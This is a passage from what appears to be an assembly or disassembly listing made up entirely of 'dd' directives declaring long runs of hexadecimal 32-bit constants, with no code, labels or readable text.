		dd 38A130DBh, 1D30018Ah, 0C25B3C24h, 16459CDDh,	916DA073h
		dd 0D125B974h, 971E4392h, 8A5FC799h, 45A36420h,	386E53F9h
		dd 0DC199662h, 7E17252Ah, 4BFBACF4h, 0A7FDA078h, 3B6E76A1h
		dd 30F3AEB5h, 38E73DCDh, 0FE5D4BEBh, 421FFD8Eh,	59E181C8h
		dd 0A54AB6BDh, 4E313CBBh, 106BA79Bh, 14D2988Dh,	5A8664A9h
		dd 92498384h, 0FB989813h, 3B7B67CFh, 0D92486E3h, 39954F96h
		dd 4EBC5551h, 85D63185h, 0ADEABC0Dh, 6B1EB11Eh,	0C21DB205h
		dd 33C71509h, 0FF223827h, 0FC75D1EBh, 184A3D94h, 477A0809h
		dd 2FFE4649h, 0B6A508DEh, 66692B2Fh, 0A82D49DDh, 0C08B0FE2h
		dd 55D6F5F6h, 0F60B23B9h, 0F686A1C2h, 5D5E4A90h, 0DD61D5CAh
		dd 1D3E1169h, 0EDF7AE2Bh, 0D14D401h, 4C41FE47h,	2E063FB2h
		dd 6B0446F1h, 6796B26Dh, 0C6D119FDh, 2E9E146Dh,	6E6ABB7Fh
		dd 0E9CC6AB6h, 9FA14C01h, 0DFA00636h, 409E8D4h,	97432DF2h
		dd 0C27740E6h, 416EBE91h, 5B1A06C4h, 66FF7D75h,	0A978D32Ah
		dd 54983D05h, 0B8A1875Bh, 5516BB11h, 7E43095Fh,	222F5E80h
		dd 0C7376EA9h, 597DA40Dh, 6A2F40BFh, 70D0D4D8h,	0DF48C8EDh
		dd 0BBC223ECh, 16FACC4Dh, 0EE8A3634h, 3A5FE590h, 6F57B197h
		dd 0F3BF6C5Ah, 0B0FEEB25h, 0FC4D431Bh, 0A4CFB8F5h, 0B4C68BEEh
		dd 7719214Bh, 0FB607C57h, 0AE83E764h, 41C64ECBh, 7BA7B09Fh
		dd 0BBAF0E56h, 0B33D25D4h, 61FA4B9Fh, 0EE378C1Dh, 58110DF4h
		dd 96529621h, 9A96F6C5h, 8D269263h, 0EC07673h, 0E5D84B26h
		dd 23B14A27h, 7CEEFCDFh
		dd 0DA1F0A6Dh, 112BD19Eh, 0B17D3539h, 933B93C9h, 0F0A11365h
		dd 0C0CB1F62h, 1193725Eh, 0FF48F13Fh, 0C843D07Ah, 0A3BEBFEh
		dd 32488BFFh, 22F9B22Eh, 6C352A1Bh, 3348631Ch, 0DABB4133h
		dd 73803546h, 0FB03A538h, 7D07C83Fh, 408C304Fh,	72CB4DF9h
		dd 25B8E127h, 0E0D4EEB8h, 6D6F6703h, 5E395D88h,	7A86CF6Eh
		dd 50DE953Bh, 110E47F6h, 8F0AEA84h, 5263B35h, 0CE7B1764h
		dd 0FFCEF3CDh, 0E84ECC0Ch, 7859F940h, 0BA3CAD0Ah, 0C6533D09h
		dd 29BA653Eh, 6BD2EEBBh, 0E6FFE588h, 0C29C90F2h, 2D5873C9h
		dd 6A22B1C3h, 63D8B2ADh, 91DF57E6h, 39A9A74h, 9AF8C8EFh
		dd 54AA9A55h, 0B8579A25h, 72B3FD40h, 936D41D7h,	4E0BDCB6h
		dd 0DA4BD4B6h, 976267BFh, 20CEF492h, 0D7E15691h, 0A6AA853Ch
		dd 19602AAh, 76F14203h,	72DE83Ch, 0B4E5970h, 0FE3AD726h
		dd 65705BF4h, 26A41F12h, 0C5767F16h, 5407E957h,	0E63B0DE6h
		dd 0EA2A200Fh, 512843E5h, 0CBC8D829h, 3F75FE89h, 56A8FBC0h
		dd 22288D2Dh, 9A79523Dh, 80E75BDDh, 0E02D75ACh,	4041DB06h
		dd 21C97EC3h, 109D0CC1h, 312CCBE2h, 4193C903h, 0B8074DA3h
		dd 0B848B692h, 96955D2Ch, 39601637h, 0DD4659A7h, 56798EB1h
		dd 953B9D01h, 9DD7322Ah, 0F56EEBEAh, 7FC41974h,	0FF91A78Dh
		dd 19CF8F98h, 21844FBFh, 0DFFE32Dh, 7DD3A4F9h, 0B484F075h
		dd 0E1CC8E9Eh, 67CD3F17h, 0FEE44AD6h, 294F523Eh, 94E05522h
		dd 0DED4CB22h, 0A942B0B6h, 9C64109Eh, 0DF65AB30h, 0AE7EE1DBh
		dd 27E9E396h, 52F9D12Eh, 7EE88C26h, 400D0014h, 0E6680138h
		dd 0CFC0858Eh, 720D0F6Bh, 6334D49Dh, 1092984Dh,	61B1B322h
		dd 0F2119BF4h, 5B05CA4Fh, 5CE4B5CAh, 0F9F822D1h, 0CC477AF4h
		dd 0B3DB7585h, 6684A92Ch, 3B31D2E8h, 972AB5E8h,	9ABD9EC0h
		dd 6F43B4BAh, 129D9EAEh, 187F0B37h, 0A93E2342h,	4D4B4502h
		dd 0CE413193h, 4EA7DE0Eh, 0CF21E08Ch, 834213DFh, 8B99C31Ch
		dd 1C4C4FF1h, 0C6C6D344h, 0FB71022Ah, 7ACB9019h, 0AB341F4Fh
		dd 51ED012Fh, 53F044B3h, 2AF2A015h, 0EA90845Ch,	0F9F00253h
		dd 41763553h, 185DC9C5h, 6083E04Ch, 0D85F4615h,	732868Dh
		dd 0F2FB09A3h, 932BD83Bh, 75A27B73h, 0E8F1E43h,	270FDF1h
		dd 43BDBD5Fh, 0C0B1CA6Fh, 5DB0492Dh, 8B1B5763h,	1A55A6E4h
		dd 0F21CBA5h, 0A75D9514h, 0D7B61A01h, 0E5E97049h, 7EE68FD7h
		dd 0A3204281h, 39CF02F2h, 5368E036h, 99E0DF97h,	9C6BC10Ch
		dd 0E031FE0Bh, 86D1FE4Bh, 376DFDE2h, 0B2C0AB3Fh, 0A2DA0364h
		dd 0D189C785h, 28C8157Dh, 1A4065A2h, 30BA3960h,	0E166582Fh
		dd 5436D13Dh, 7D51E857h, 0A871AD2h, 2E8BA54h, 567236A1h
		dd 8327D7EBh, 0E380896Ch, 0A4F1218Fh, 5CA794C5h, 0A8B19B6Ch
		dd 0A22FC8B2h, 0A8F8FCB6h, 2817DA9h, 95C2FB2h, 0E2853C5Fh
		dd 9FE48857h, 0B133F751h, 380293FFh, 6D9E49A3h,	757B88D8h
		dd 794140Ch, 428EB24Dh,	428FFE4Fh, 3F150F91h, 4CAEFBD8h
		dd 7F7726C0h, 0ABFAF6A7h, 0E924FE88h, 38A5DD6Fh, 55B12A86h
		dd 0BA9EF063h, 5610028h, 0DBF88EA9h, 53739E33h,	258BAC27h
		dd 1B884957h, 545D1640h, 7010550Bh, 391368DDh, 7E159A0Fh
		dd 0F47165B0h, 0A538A0E0h, 0AC96EA8Ah, 43CDD38Bh, 460C4B34h
		dd 0C1BE6FF9h, 0B49750A4h, 2683293Dh, 3E33514Dh, 987533B7h
		dd 82955496h, 0E4901C3Ah, 60860845h, 14C1876Ah,	0E5BB9EB7h
		dd 0D5DCB8B6h, 57FF7730h, 38699020h, 0BAD416CCh, 6AA28F8Fh
		dd 5B5A36E1h, 0DCE260CEh, 9D507954h, 417C2F6Ah,	0C2E87F95h
		dd 0D79098Bh, 4D6C707Bh, 56BDEE53h, 86325F04h, 36C69978h
		dd 1CE80526h, 25F84B90h, 8183770Bh, 434C00Ah, 0BA6265BFh
		dd 0FD882B24h, 1B76EA52h, 0F4254560h, 75C04C71h, 91C15ED7h
		dd 4ED03E61h, 0B6565CF6h, 0EE23FC35h, 9B9F736Dh, 6054D802h
		dd 635B8809h, 4E282E92h, 0A211F942h, 0EFC6E5A4h, 2B9C000h
		dd 7C7F4DC8h, 726BA3Bh,	0EE6227D9h, 0C7BEC87Bh,	0F3B30B22h
		dd 0EC459060h, 0FB4B8CBFh, 0C72F04EFh, 862A18FBh, 18BA2C4h
		dd 2D4C57AFh, 4BA6362Eh, 0F0B8B904h, 0DC1EEE1Bh, 951AF9A2h
		dd 62C6FC53h, 0FD64AAE8h, 78ABFF69h, 6895DDE4h,	85FE8C6Bh
		dd 0A53AD2BDh, 42F603A4h, 2206013Ch, 572972A3h,	0C9177F33h
		dd 679BF132h, 1C9C8916h, 0E25168CDh, 38CA0260h,	5D1AD439h
		dd 0BB6B44EFh, 4C70C982h, 35375B62h, 0F136D5BCh, 0EB4E4308h
		dd 877D1B4Ch, 0ED1EA4D5h, 8C65EF32h, 0FA5AC35Ch, 0EE372CCFh
		dd 22F60429h, 6D93BF3Eh, 0EA1A1CAEh, 23588DC6h,	0FE486896h
		dd 1B5435E0h, 59F49672h, 97390527h, 0E755C425h,	9F9E6EEEh
		dd 48F4C8A5h, 2215ECF5h, 0EBB9E8C7h, 6252BB3h, 7F7BCCA7h
		dd 60E6851Fh, 2E18C883h, 9A351DA1h, 0D194CCF9h,	0F86A183Fh
		dd 0A8F323BCh, 7CC07FB4h, 28224A41h, 0C061EC63h, 7BACDEA2h
		dd 29D723ABh, 722B1F76h, 0A230BDBh, 376DB2CBh, 0F7D5207h
		dd 0A148B3F5h, 9B3BF004h, 1893FE21h, 8D103B2Ah,	817C221Ah
		dd 6FB82D7Fh, 0D1B42497h, 0DDDB075Ch, 0BF30FC96h, 0E65C3C73h
		dd 9AA4627h, 299877B7h,	87D6EFC2h, 22B50A56h, 0B305C42Bh
		dd 72B8D928h, 9BF2A3D8h, 0DE2E2380h, 0CE75FDECh, 334B2503h
		dd 0A9042651h, 0D443BCA5h, 48C4A325h, 9675434Dh, 7EE422B6h
		dd 0E21261F9h, 61E5A95Dh, 61225C94h, 0F07F0F28h, 1CC02186h
		dd 33A40EE5h, 3DBDB211h, 0B5E0836Fh, 36D88C6h, 2057BB55h
		dd 83CA9F3h, 9352FAA4h,	0C0AAD7CCh, 603FE4A1h, 6D883AD5h
		dd 913C3F71h, 571B168Dh, 85D829D7h, 53A53A01h, 8A8055E0h
		dd 0A40AEE30h, 73CF2871h, 7E5F720Ah, 0CFFD273Ah, 48CB6B48h
		dd 36EFF867h, 416A02DAh, 2C5CA694h, 4D604F5Ch, 2A370998h
		dd 58F89F7Dh, 1F70DC49h, 0DF44E94Fh, 0E6FBA319h, 6F1B9BE4h
		dd 3A02D391h, 6E57EBAFh, 0F243BFA3h, 76CA480Ah,	9A57AB5Bh
		dd 0CC39DAB1h, 68C66B59h, 0D8B7A921h, 64490ACDh, 87B7A466h
		dd 3B212851h, 224238FBh, 0EFD5CC10h, 0B4AB2BDEh, 0BBBE31Bh
		dd 5E8CF428h, 1F0E8F55h, 7E705678h, 9761417Eh, 79DDF673h
		dd 0C430D955h, 2B02BEAFh, 8DF28D5Fh, 0FA9DF4CAh, 58175C38h
		dd 0EB587FD8h, 0B112BED6h, 0AD44CD25h, 62E8DDCFh, 0BF72931Bh
		dd 0AAE2909Ch, 5D2C70C7h, 7AA87FE5h, 0E69CFEBBh, 0F4607F41h
		dd 0E33AEAC7h, 0F022FA13h, 0F6ACB915h, 380BDB7Dh, 42645172h
		dd 65B0C8A9h, 9A11EF32h, 3E8D18A6h, 0C0D36729h,	0E9A7642Ch
		dd 0EEEA18C0h, 0C16FD5D0h, 42C35357h, 11734431h, 0EB492782h
		dd 1993AEEEh, 2A893794h, 4CD9CFC0h, 0FF280E03h,	5E9CA00h
		dd 408F6AEh, 0BF359C73h, 0E47DE8D8h, 89BDFE22h,	0F7B6F90Fh
		dd 2EEE9283h, 8A1EFCC3h, 0E73BBD4Fh, 50166C8Eh,	77034CB7h
		dd 6E269058h, 24403689h, 0A8899C47h, 444C4EBDh,	8D00B305h
		dd 25CFC78Eh, 9F2E8FF1h, 81A0ECEDh, 861703A7h, 93D4A99h
		dd 3BD9F368h, 86CB9423h, 681EB91Dh, 0D9101743h,	0A3FED77Ah
		dd 0E3CD27DEh, 5910FB46h, 7C9A2369h, 0D418FBE7h, 3158D65Ch
		dd 0F0247075h, 1AF43E98h, 81DAC207h, 0AC6C0EC8h, 13398D48h
		dd 992EB76Eh, 0E3AB70DBh, 7D0CF6D4h, 0F859D477h, 0BD5998DEh
		dd 0D54BFD99h, 4FAA77A9h, 6250DE2Ah, 0A8F1192Ah, 31B67576h
		dd 0A1FECFF4h, 2C22F892h, 0A8DAF583h, 386C9E7Fh, 6D7B15A5h
		dd 5908C9B6h, 0C4E7EDA9h, 38044DF8h, 98FEB7A3h,	323B06E2h
		dd 6EB3903Ch, 0DC7061CBh
		dd 0F97BBA43h, 0DF7633CCh, 0DC31770Ch, 23490943h, 0E02502CAh
		dd 575580E1h, 9A316707h, 0DFD91B92h, 2915D6FEh,	19773776h
		dd 216E8B91h, 993CE384h, 86A42ADh, 0B735760Fh, 11C1247Fh
		dd 21A96621h, 895638C5h, 80F026E1h, 538395F2h, 95D2A74Bh
		dd 7A815ED8h, 797B71CAh, 2C26DF7Dh, 54D0AF50h, 1C847083h
		dd 0BB49F9D6h, 0E7B82C46h, 263123F1h, 67B75ACBh, 0CA4C5D1Fh
		dd 0F47BA73Dh, 38706172h, 10C29DDh, 8E068413h, 302D517h
		dd 8272091Bh, 4B8ACE3Dh, 572FF0BDh, 9DD468B2h, 312B3A32h
		dd 1D4D122Bh, 0C180CE5Dh, 958E39C4h, 86411F5Eh,	7EB05A2h
		dd 74CE68D7h, 0FA9973D1h, 671948B3h, 0D9ADCC6Ah, 90630A6Ah
		dd 84B59EFDh, 751BE860h, 0DA6D5AD2h, 0E9306504h, 0F80A6DE2h
		dd 167887D6h, 41F866D9h, 358D3D1Dh, 9E03BFC1h, 0D773BC84h
		dd 723D3CC9h, 4ED9BA70h, 4E2C9FD9h, 0BE133BBEh,	3E9B535Dh
		dd 6509A64h, 0DAC48D41h, 9760404Ah, 58B8EF39h, 8A3BACA8h
		dd 0A3AA7B72h, 7107CBD2h, 0FEFC0079h, 0A6711427h, 0E76282D1h
		dd 8B2C17BCh, 0C4B57468h, 4B7367C2h, 0B386B029h, 0F1BDD569h
		dd 0B9F2206h, 58971F91h, 0E7ECE6DDh, 2DCE210Ah,	12672D4Eh
		dd 0EC32A38Bh, 1F4B5357h, 5E29AB9Fh, 261571E1h,	54C58F0Bh
		dd 8DA11B7Fh, 9E9C812Dh, 3F3058C7h, 4DA6359Dh, 0E1C4CD4h
		dd 4ECEC04Eh, 0EB259DB6h, 6D52CC91h, 3C80156Fh,	248DBE4Fh
		dd 79EDB054h, 0DD153402h, 7C98503Bh, 22D7F862h,	1A1DCB68h
		dd 48119B0Eh, 0F24403FEh, 284024ECh, 72D174A9h,	0C2E34F83h
		dd 98CC4AA9h, 0BE8A67F5h, 297FB3E0h, 73E2A512h,	48444DB8h
		dd 37551765h, 0E95916B1h, 9C6AEC1h, 0A168DFC0h,	0DFF955FFh
		dd 7B8AA742h, 382B4603h, 0F3BD28F6h, 0D73B2A4Bh, 1D026CC2h
		dd 52862802h, 44FB3354h, 0D0F62530h, 0B34B3DCCh, 0C6319C0Eh
		dd 55309BD8h, 3F6944AFh, 60CFAF71h, 8E728737h, 91754AE9h
		dd 0CFA50B46h, 63F6B4A9h, 688CE789h, 0D70F79A6h, 0BA054E21h
		dd 0E3A9CF1h, 0BADC12FAh, 12B30C4Fh, 943DE8C5h,	0C9B9AEB1h
		dd 672B6FFEh, 4A62752Eh, 0DBC4BE2Ah, 63C37A50h,	1F13EBD9h
		dd 36D010F3h, 8C6A0DD0h, 0FA166C97h, 0E56C3EDBh, 4EC89C34h
		dd 5EE4DE12h, 0BAB09005h, 770E0C21h, 1FAFAB1Dh,	7376EE07h
		dd 2ACAAAE3h, 0E068DC44h, 5699CC5Eh, 0E9544325h, 5906343Ah
		dd 0D4D0EF7h, 0B1B2EC3Fh, 613AB294h, 213C531Fh,	432B5F2Fh
		dd 83DB0Fh, 13315620h, 1933286Ah, 643A5CBFh, 87A6F4E9h
		dd 1376C2C4h, 119FD050h, 5DCDC55Dh, 0F37A8AADh,	0D8140CBBh
		dd 9D06B20Ah, 1B4833D1h, 0D8BA08D3h, 0F32DBB1Eh, 3D72B9F1h
		dd 85B6C8E2h, 2C0A38F2h, 0A5103738h, 46707736h,	0F3AD35C5h
		dd 0D0C150CEh, 0FE44FC6Fh, 33B0FC34h, 0A864E949h, 3276AC49h
		dd 5D1AD379h, 65B9BEE2h, 4C2B1468h, 16DF4005h, 2E3AB5E4h
		dd 0E48E1C54h, 18AC5C74h, 93D03863h, 9157DF49h,	6AC48F2Dh
		dd 8455445h, 0CAB25F98h, 0C1859E57h, 733DAAA5h,	68403A20h
		dd 25671321h, 983E6859h, 8DB8FBABh, 0D5D567A3h,	0B2709171h
		dd 5078834Ah, 0C08E80B8h, 23D7DFEh, 0F90A32F5h,	16B4AED6h
		dd 1AB2C00h, 69D8A620h,	87D55F1Eh, 3437959Dh, 5DC7C53Fh
		dd 0BD123E1Dh, 680F0636h, 6E9842B4h, 0B6234F3Ah, 340E9B47h
		dd 1515382Bh, 0DE36B6E5h, 0CEF8F51h, 24746221h,	29A8B04Eh
		dd 11563875h, 1B8D5AE4h, 0D8D8907Bh, 0BE0AB4FCh, 50798FD0h
		dd 5864FCFBh, 9FFF5C08h, 0B546A0BDh, 224AA0E8h,	889DD663h
		dd 0E0425CC8h, 97C39E34h, 1A9CBA1Bh, 76CBBF54h,	96E17F0Ah
		dd 2BF245F0h, 0E97AEE67h, 50AE3460h, 745B46FCh,	8D6D88C0h
		dd 78113C4Fh, 0E1C6ECE6h, 47EC6685h, 0E1875FB2h, 3ECBE009h
		dd 0D2D9078Ah, 67180EFFh, 525476A4h, 0D0797592h, 49564CB3h
		dd 1E98AD5Ch, 0D75A390Ah, 17608D55h, 0A2B7778Dh, 73A8A51Ah
		dd 0B8B21FB0h, 0D010255Dh, 0EA442011h, 559719ECh, 0F1905A8Bh
		dd 9A0C19D4h, 0D9CF42FEh, 0BF70F6EFh, 354EC60Ch, 0A1835E71h
		dd 92462F72h, 3EB364E3h, 5F41C9CEh, 53CA4E2Bh, 7AC7AB1Dh
		dd 77D3A2D6h, 92395C4Bh, 105E5BCAh, 0C3018863h,	0AF87F1FFh
		dd 0F138860Fh, 0B5A1AFA7h, 0FFA208B0h, 0F19F4F78h, 19AC793h
		dd 8B001507h, 5CACE159h, 3107BF7Eh, 50B82042h, 7AD5C762h
		dd 0B48926B1h, 0CC9A7D22h, 0FA930597h, 0F2835B6Bh, 0FE1FDCA2h
		dd 8C0564CAh, 0F04CE405h, 0A8F90536h, 0CD31794Eh, 0F9EFD4EFh
		dd 4C7E0606h, 0EB60FB33h, 0F2B177BBh, 0E5409003h, 2C459567h
		dd 735C39F2h, 3153E4E2h, 0DD50C32Bh, 0F809810Ch, 38A2B152h
		dd 2352B333h, 8AC826CAh, 97B5191h, 31D8D9BFh, 6BBAF5A0h
		dd 8D1FB832h, 0A87C029Fh, 0BE76FA2Bh, 216EAF8Bh, 1F8923AFh
		dd 44FFEAAh, 8524553Fh,	6FEE90DAh, 0DD9D9BE8h, 70F59581h
		dd 746823F9h, 0DECEFA61h, 85ADA9AFh, 0C95559DEh, 0D599344Eh
		dd 29622326h, 8F182353h, 0D68DEC7Bh, 524E0C1Ah,	60E2BEFBh
		dd 0B4950F16h, 95FE4891h, 0BD8B7CDDh, 0C91A5683h, 44542042h
		dd 6A67A9C3h, 29335653h, 0C93230F1h, 89E97D19h,	0E1BA092Ah
		dd 17B80C4Ah, 3B7B94BBh, 0A7610844h, 51164CCDh,	5ED6CCC1h
		dd 103EB512h, 4BF24963h, 5A878A5Bh, 517F0A5Fh, 128F1C9h
		dd 0B7DC6A5Ah, 0EB6A526Ah, 32EDBF6Bh, 9D53D2CDh, 2207FDFEh
		dd 0DE016444h, 7F0E670Fh, 0F39EB8ADh, 0F05DF919h, 8F449E2h
		dd 0E2F3B664h, 4FCBF88Bh, 4834B427h, 24A6FAF8h,	114BC11h
		dd 66322655h, 0EDFC339h, 3FEC7A1h, 0CBDBCD84h, 0E7362CBh
		dd 0D08E9389h, 0DDFBADCCh, 0BB2CFF39h, 53D6DEBDh, 85DFF2F3h
		dd 0D2A850Eh, 89901CB0h, 45914F7h, 75454D81h, 83A6819Bh
		dd 2D5F4B04h, 16482487h, 0CF230EE7h, 55887E4Eh,	6C6A990Bh
		dd 0A4C66E8h, 5A0425DFh, 167C3DC7h, 0D27DFD28h,	35B88149h
		dd 7BE8004Fh, 0C450F56Ah, 361D38FDh, 7A040B08h,	47D5AE7h
		dd 7BECB4F7h, 171F8382h, 0F71EB1C7h, 4EB4842Ch,	83E05907h
		dd 0E1DDC1A9h, 2BFCAB2Ch, 6FA51366h, 0BB561663h, 50D50757h
		dd 1B9FB941h, 7C9FD118h, 0A5D08C57h, 83DB2236h,	0B2FF4123h
		dd 3BB3A9A3h, 712D774Ch, 8C6D0B66h, 2947D74Eh, 934CC213h
		dd 0CA76A6C8h, 0EF45EFC6h, 28434CA7h, 936A0C70h, 0B4AB0Ch
		dd 660B9E64h, 0C0D487A1h, 13AF9C84h, 4005B659h,	118E45CFh
		dd 0AF951710h, 9E1BF2FEh, 5A24054h, 5B1A0137h, 7B3BEBA2h
		dd 0E7B62F0Bh, 0C5F9CCB8h, 4000A873h, 42C479D6h, 0BC74ABB8h
		dd 3868C8C8h, 0F14F2743h, 39C3B058h, 0F2DA063Fh, 1A00088Ah
		dd 0A3D6E0C9h, 9E83A9Fh, 2CF84DF2h, 36FD4BB5h, 56E69FAAh
		dd 0A016E7C9h, 0FB255C15h, 6756442Ch, 8CF58A02h, 964EF76Eh
		dd 0C86AD5D1h, 2C3A41C9h, 0D230EF45h, 0F73EA009h, 98BEA2DCh
		dd 0CD18CCC0h, 81E33718h, 0A41397BCh, 464E415h,	0F74B7D30h
		dd 113297CBh, 0F0F2249Eh, 9AD4E35Fh, 0D7675B1h,	3A4883FEh
		dd 4710F9EEh, 0F795E463h, 7D4763CAh, 839409DBh,	0B6F6365Ch
		dd 643F45FEh, 0B03F9CF3h, 7BFACBAFh, 9A83E034h,	3E998A43h
		dd 0CD7073C0h, 71B3CD82h, 3F1956FCh, 73859F22h,	0C8BDBB26h
		dd 9C9B917Fh, 0FF5E13E5h, 57A645A5h, 7A58966Ch,	0E27D3303h
		dd 0CE7D07A7h, 8A4335A7h, 0E9E8820Fh, 0D3715BA7h, 6C78DF5Fh
		dd 0F3465770h, 0F6387A70h, 171B8F2Ch, 3DF0F8F7h, 51E5F495h
		dd 3A67BD87h, 605A56DFh
		dd 5D1475B1h, 0C23376EAh, 3C9D8D1Fh, 0B328F07Eh, 0CDA1FC1Fh
		dd 1655FE3Ah, 204422EAh, 0ECB52C84h, 0BF2905A9h, 7CDB75F3h
		dd 76016E61h, 695621EBh, 0B9C8DAC7h, 4960A510h,	916124FAh
		dd 25ACCD0Ah, 0F7C25B4Ah, 28BC0B6Fh, 8C76800h, 0D522D497h
		dd 0A5A1C223h, 0DE80E94h, 63732463h, 0F263F4B0h, 2E2DA12Dh
		dd 4F8CF83Bh, 0F2590AE5h, 0D2A04D61h, 0D9740A15h, 0F3FACBCBh
		dd 0D0C89D02h, 85340429h, 44460084h, 61C0151Ch,	87E20F48h
		dd 2FD218C2h, 87637680h, 5D3E5E46h, 57764A61h, 255B62D3h
		dd 9726138Fh, 7EEDBC80h, 53BBF7CDh, 60658A4Fh, 0F07A6CE7h
		dd 14F6F993h, 0BA67EBE6h, 0A408C7E8h, 216EC565h, 0C8BB6FADh
		dd 69FFADF7h, 2A879225h, 81DB1D56h, 845FB905h, 0D08BB086h
		dd 5666A845h, 80649D0Ch, 67C2E43Ch, 445846DFh, 642E359Ch
		dd 670E8D6Eh, 0E9D077FFh, 34A4218Ah, 8AD84FBDh,	50B12793h
		dd 0B578824Ah, 38F23DA4h, 0EAB1ABF8h, 0A7DCDBB0h, 9161A922h
		dd 17AC9031h, 0BC313B4Fh, 1617B0F6h, 0E518B4C6h, 135ED677h
		dd 795B628Ch, 0F5B3A970h, 45C6D8F3h, 0FA2B7790h, 0D89F59C4h
		dd 4A07BB32h, 4D64B516h, 19CFE74Fh, 9DDFB4E6h, 0A989F5E9h
		dd 23774A1Eh, 2448ECE4h, 6939C44Fh, 117BEF1h, 0B08DA744h
		dd 3BDF4C65h, 25C7FFA1h, 0DC38361h, 363B4EEAh, 5E8DA174h
		dd 49B1494Fh, 0C87E3243h, 0DDEDE4D1h, 0E001E669h, 422F58BEh
		dd 9679C931h, 0B977E17Bh, 0C6CDF4CBh, 18AF5FCh,	30676F2h
		dd 188233DFh, 433744B1h, 0EEE9734Eh, 0E2ECDFEEh, 399884C9h
		dd 18351F3Ah, 5D705051h, 5777ABFEh, 0D956954Fh,	31E62F91h
		dd 0A9E8EB85h, 37F73134h, 5328D15Dh, 12BC367Bh,	0A7F94D51h
		dd 0F51F5484h, 1AE9956Eh, 0A532F97Bh, 32C27872h, 90DA4A4Fh
		dd 44577BCBh, 0DD43657Fh, 3F71C67Dh, 0A070A2BDh, 0E0BA24A5h
		dd 94B6C4D3h, 0E17A97E2h, 5E62692Dh, 0E095491Dh, 34FA88D2h
		dd 0D8AA62DBh, 4880958h, 0DA8B0293h, 0E1D604D8h, 41043764h
		dd 0BACB1A0Eh, 1362E708h, 575A0964h, 0D9DD8BDh,	44F326A8h
		dd 0DECC1E84h, 0B2607D68h, 1B1C18BEh, 0F5931E8Eh, 0EE8C3D43h
		dd 6670DDFFh, 0DE9E796Dh, 2B375748h, 6F4EE4E9h,	671F8523h
		dd 937860C1h, 0AAE86D1Bh, 0B4108B9Ah, 4A0461C7h, 30B485A1h
		dd 0A85D882h, 0E0D20418h, 9C349765h, 0CC2124Ah,	4A8EE2B3h
		dd 0CC80954Ah, 2E2E89E4h, 0F3E1F572h, 0C58BDD9Bh, 2BD7B88Eh
		dd 7B09FBC5h, 0F10846DEh, 6F252B91h, 98E0E872h,	39B6A7D7h
		dd 0F16333D9h, 0E18E9AE9h, 0E733CA4h, 0E8AB72C2h, 0CAAF82B9h
		dd 5FF4075Bh, 90B4E2C2h, 551D1A96h, 0D0E3C22Ah,	28916A77h
		dd 23F4D79Fh, 23A6A93Ah, 65441E17h, 89E2C1F0h, 176B1089h
		dd 70631536h, 5DF394Eh,	2E391797h, 214D97B2h, 6185F572h
		dd 22FE6CA6h, 318B283Eh, 0A33BCB3h, 0D8C58BFEh,	0DF7553E4h
		dd 7E565AD5h, 9F99DB84h, 0E2112641h, 38C0A3BFh,	0B7EBB95Eh
		dd 0C3D078E7h, 0A0611B85h, 8D266DE7h, 84C02D75h, 0CC681AC7h
		dd 1AC2FADEh, 0B708E816h, 0E7DBB564h, 0C479F518h, 5D26E06Eh
		dd 53F835D8h, 0F715573Fh, 0F0BDFE58h, 2E0BBE32h, 2F4D5949h
		dd 306225ECh, 15CB188Eh, 8B79459Ch, 0B6FA16EBh,	0CD65AAEAh
		dd 0EEB065E1h, 69D4C3F4h, 0F31CA50Dh, 779367D2h, 0AE0E19EEh
		dd 0C833040Dh, 0E9A246CFh, 5897ED06h, 0F8C7926Bh, 1FEED62Ch
		dd 73055D40h, 28A7AA57h, 0DF992FD7h, 267B182Ah,	0EBC3151Fh
		dd 0FA932156h, 1FEB7C30h, 1E34A88Ch, 0AFB35B64h, 0E7449B52h
		dd 0E2A4564Ah, 12BE464h, 736A0AB6h, 0D25D6237h,	4D76B2EEh
		dd 0EA6D419Ah, 8819B31Eh, 50678DB8h, 0C1D33F10h, 9CEC89Dh
		dd 86C07F2Ch, 7CB5F3E7h, 98545CA6h, 2D13291Ah, 0E91D95D6h
		dd 9C29D77h, 8B85EED1h,	0FC285A1Eh, 0F91642E7h,	99F7AE53h
		dd 84F8A5D9h, 0D6E11DF1h, 0A3B584A7h, 5B055C86h, 50A2A9DEh
		dd 0C47FAD00h, 220329F0h, 6D1E861Ah, 0A091DC88h, 0C6281CEAh
		dd 426EBAACh, 74803370h, 6629D5FDh, 0F83F08F7h,	0E381D2FCh
		dd 2C19D731h, 9A6A0178h, 6638F25Ah, 2A5709CBh, 7843505Dh
		dd 7914FCA6h, 0E2B4F7FBh, 47229E31h, 0B328365Eh, 71B096E7h
		dd 0CB41CBC4h, 96171A34h, 28E0766Dh, 7C3845E8h,	9ED34307h
		dd 282CB05Ah, 5061E90Ah, 0D19CA3D5h, 28F7FF3Dh,	361AC6A5h
		dd 0AE292459h, 0D2589687h, 59AB7D2Ah, 24B5B28Ah, 0EFE9608Ch
		dd 628FC622h, 597DBE6Bh, 78A84F95h, 0BFBFDAA2h,	7F150983h
		dd 55A1013h, 0C1F5997Ch, 0B6595116h, 0CDFA1CD3h, 0FEE0D0Fh
		dd 0DF919F8Dh, 47FD6FF0h, 0E617981Ah, 7AADD5A7h, 0D67E5D40h
		dd 469A2F5Eh, 9017EF69h, 0F321E725h, 2DFAE686h,	499FEE8Ch
		dd 0AC2CB15Ch, 0A120F7B7h, 11D91856h, 71D21595h, 0EC7E3117h
		dd 527A60D9h, 0D97D2711h, 0B5DC0CE8h, 0D2F3D4A9h, 0AEB278Dh
		dd 74AB2047h, 69209F4Ch, 0BFF8596Ah, 8BC790Fh, 0C2EF4D5Bh
		dd 0CC095D2Ch, 0C74D1ECAh, 3200E51Ah, 8B4DD82Ch, 0B1A2DE3h
		dd 0E1AD2ADCh, 0D2C71A54h, 23E83DE2h, 3F96CF1Eh, 0AA349A10h
		dd 8F05EC2Ah, 0C109DCA5h, 3B3DF6FAh, 3437642Bh,	1B267D67h
		dd 0F8B6C198h, 0C93C3207h, 59FA2429h, 58BE8F94h, 0A62142EAh
		dd 5B59B17h, 63EEB1A2h,	57EEC676h, 0F9C8965Ch, 1A6B1DD6h
		dd 6496470Bh, 0ECB481B6h, 0F14233A2h, 822C314Ch, 0A366EE5Ah
		dd 718308A5h, 381C70F6h, 0C75C6D1Ch, 0C2A6043Ch, 414F230Ch
		dd 0D21E9474h, 4255E347h, 2A7270BAh, 9E012260h,	0FCC78E13h
		dd 0BE9B8568h, 46B6AB68h, 322DEE2Ah, 0D0948F87h, 99C24E48h
		dd 8B8CD8B8h, 0E4C4B134h, 0D6EC7A52h, 0AD26EE1Ah, 223B09FFh
